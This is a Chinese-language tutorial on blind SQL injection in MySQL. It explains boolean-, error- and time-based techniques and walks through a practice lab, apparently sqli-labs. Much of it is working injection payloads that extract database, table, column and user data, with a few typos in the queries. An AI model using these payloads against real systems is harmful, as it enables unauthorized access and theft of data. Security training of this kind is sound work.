sql注入-盲注
何为盲注?盲注就是在 sql 注入过程中,sql 语句执行的选择后,选择的数据不能回显到前端页面。此时,我们需要利用一些方法进行判断或者尝试,这个过程称之为盲注。手工的盲注是比较繁琐的,我们一般用自动化工具就可以跑出来,所以这里我会根据源码尽量缩短代码量,尽管使用二分法一个个试也很繁琐,目的并在于理解盲注原理与过程,自己会做就Ok了。我知道的sql盲注可分三类:
1.基于布尔sql盲注
2.基于时间的sql盲注
3.基于报错的sql盲注
基于布尔sql盲注——构造逻辑判断
mid()函数
此函数为截取字符串的一部分。
用法:mid(column_name,start,length)
column_name:必需,要提取的字符字段。
start:必需,规定开始的位置(起始值是1)
length:可选,要返回的字符数。如果省略,则mid函数返回剩余文本。
Eg: str=“123456” mid(str,2,1) 结果为2
Sql用例:
(1)MID(DATABASE(),1,1)>’a’,查看数据库名第一位是否大于a,MID(DATABASE (),2,1)查看数据库名第二位,依次查看各位字符。
(2)MID((SELECT table_name FROM INFORMATION_SCHEMA.TABLES WHERE T table_schema=0xxxxxxx LIMIT 0,1),1,1)>’a’此处column_name参数可以为sql语句,可自行构造sql语句进行注入。
substr()函数
Substr()和substring()函数实现的功能是一样的,均为截取字符串。
string substring(string, start, length)
string substr(string, start, length)
参数描述同mid()函数,第一个参数为要处理的字符串,start为开始位置,length为截取的长度。
Sql用例:
(1) substr(DATABASE(),1,1)>’a’,查看数据库名第一位,substr(DATABASE(),2,1)查看数据库名第二位,依次查看各位字符。
(2) substr((SELECT table_name FROM INFORMATION_SCHEMA.TABLES WHERE T table_schema=0xxxxxxx LIMIT 0,1),1,1)>’a’此处string参数可以为sql语句,可自行构造sql语句进行注入。
Left()函数
得到字符串左部指定个数的字符
Left ( string, n )
string为要截取的字符串,n为长度。
Sql用例:
(1) left(database(),1)>’a’,查看数据库名第一位,left(database(),2)>’ab’,查看数据库名前二位。
(2) 同样的string可以为自行构造的sql语句。
同时也要介绍ORD()函数,此函数为返回第一个字符的ASCII码,经常与上面的函数进行组合使用。
例如ORD(MID(DATABASE(),1,1))>114 意为检测database()的第一位ASCII码是否大于114,也即是‘r’
ascii()函数
用法:将某个字符转换为ASCII码的值,常配合截取函数使用
ascii(substr((select table_name information_schema.tables where tables_schema=database()limit 0,1),1,1))=101 --+
substr(a,b,c)从 b 位置开始,截取字符串 a 的 c 长度。Ascii()将某个字符转换为 ascii 值
ord()函数
Ord()函数同 ascii(),将字符转为 ascii 值
ORD(MID((SELECT IFNULL(CAST(username AS CHAR),0x20)FROM security.users ORDERBY id LIMIT 0,1),1,1))>98%23
mid(a,b,c)从位置 b 开始,截取 a 字符串的 c 位Ord()函数同 ascii(),将字符转为 ascii 值
regexp()正则注入函数
用法:select user() regexp ‘1’;
正则表达式的用法,user()结果为 root,regexp 为匹配 root 的正则表达式。第二位可以用 select user() regexp '^ro’来进行。
当正确的时候显示结果为 1,不正确的时候显示结果为 0。
示例介绍:
select * from users where id=1 and 1=(if((user() regexp '^r'),1,0));
select * from users where id=1 and 1=(user() regexp'^ri');
通过 if 语句的条件判断,返回一些条件句,比如 if 等构造一个判断。根据返回结果是否等于 0 或者 1 进行判断。
select * from users where id=1 and 1=(select 1 from information_schema.tables where table_schema='security' and table_name regexp '^us[a-z]' limit 0,1);
注意:如果这里想要匹配table_name中的其他项,并不是把limit 0,1改为limit 1,1 。而是使用like 匹配注入,因为limit 作用在前面的 select 语句中,而不是 regexp。
用法:select user() like ‘ro%’
基于报错的 SQL 盲注——构造 payload 让信息通过错误提示回显出来
select count(*) from information_schema.tables group by concat(version(),floor(rand(0)*2))
此处有三个点,一是需要 concat 计数,二是 floor,取得 0 or 1,进行数据的重复,三是 group by 进行分组,但具体原理解释不是很通,大致原理为分组后数据计数时重复造成的错误。也有解释为 mysql 的 bug 的问题。但是此处需要将 rand(0),rand()需要多试几次才行。
果关键的表被禁用了,可以使用这种形式
select count(*) from (select 1 union select null union
select !1) group by concat(version(),floor(rand(0)*2))
如果 rand 被禁用了可以使用用户变量来报错
select min(@a:=1) from information_schema.tables group by concat(password,@a:=(@a+1)%2)
select exp(~(select * FROM(SELECT USER())a))
//double 数值类型超出范围
Exp()为以 e 为底的对数函数;版本在 5.5.5 及其以上
select !(select * from (select user())x) -(ps:这是减号) ~0
//bigint 超出范围;~0 是对 0 逐位取反,很大的版本在 5.5.5 及其以上
extractvalue(1,concat(0x7e,(select @@version),0x7e))
//mysql 对 xml 数据进行查询和修改的 xpath 函数,xpath 语法错误
updatexml(1,concat(0x7e,(select @@version),0x7e),1)
//mysql 对 xml 数据进行查询和修改的 xpath 函数,xpath 语法错误
select * from (select NAME_CONST(version(),1),NAME_CONST(version(),1))x;
//mysql 重复特性,此处重复了 version,所以报错。
基于时间的 SQL 盲注——延时注入
If(ascii(substr(database(),1,1))>115,0,sleep(5))#
//if 判断语句,条件为假,执行 sleep
Ps:遇到以下这种利用 sleep()延时注入语句
select sleep(find_in_set(mid(@@version, 1, 1),'0,1,2,3,4,5,6,7,8,9,.'));
该语句意思是在 0-9 之间找版本号的第一位。但是在我们实际渗透过程中,这种用法是不可取的,因为时间会有网速等其他因素的影响,所以会影响结果的判断。
UNION SELECT IF(SUBSTRING(current,1,1)=CHAR(119),BENCHMARK(5000000,ENCODE(‘M
SG’,’by 5 seconds’)),null) FROM (select database() as current) as tb1;
//BENCHMARK(count,expr)用于测试函数的性能,参数一为次数,二为要执行的表达
式。可以让函数执行若干次,返回结果比平时要长,通过时间长短的变化,判断语句是否执
行成功。这是一种边信道攻击,在运行过程中占用大量的 cpu 资源。推荐使用 sleep()
函数进行注入。
实战靶场
这里我是事先看过数据库与源码的,所以不慢慢猜了,直接一步一步往下做了。
我们先查看数据库版本
回显正确,数据库为5版本以上,当数据库版本不对则回显如下:
接下来猜数据库名长度
库名长度为8,接下来猜数据库名第一位
数据库为 security,所以我们看他的第一位是否 > a,很明显的是 s > a,因此返回正确。当我们不知情的情况下,可以用二分法来提高注入的效率。
猜数据库名第二位
重复以上步骤往下猜猜出库名为security
利用 substr() ascii()函数进行尝试
获取第二位字符
这里我们已经了解了 substr()函数,这里使用 substr(**,2,1)即可。
那如何获取第二个表呢?思考一下!这里可以看到我们上述的语句中使用的 limit 0,1. 意思就是从第 0 个开始,获取第一个。那要获取第二个是不是就是 limit 1,1!
此处 113 返回是正确的,因为第二个表示 referers 表,所以第一位就是 r. 以后的过程就是不断的重复上面的,这里就不重复造*了。原理已经解释清楚了。当你按照方法运行结束后,就可以获取到所有的表的名字。
利用 regexp 获取security中 users 表中的列
上述语句时选择 users 表中的列名是否有 us**的列,下面确定第一列为usename
利用 ord()和 mid()函数获取 users 表的内容
获取 users 表中的内容。获取 username 中的第一行的第一个字符的 ascii,与 68 进行比较,即为 D。而我们从表中得知第一行的数据为 Dumb。所以接下来只需要重复造*即可。
-
a-z ↩︎
上一篇: SSRF-服务端请求伪造
下一篇: App实战:夜间模式实现方法一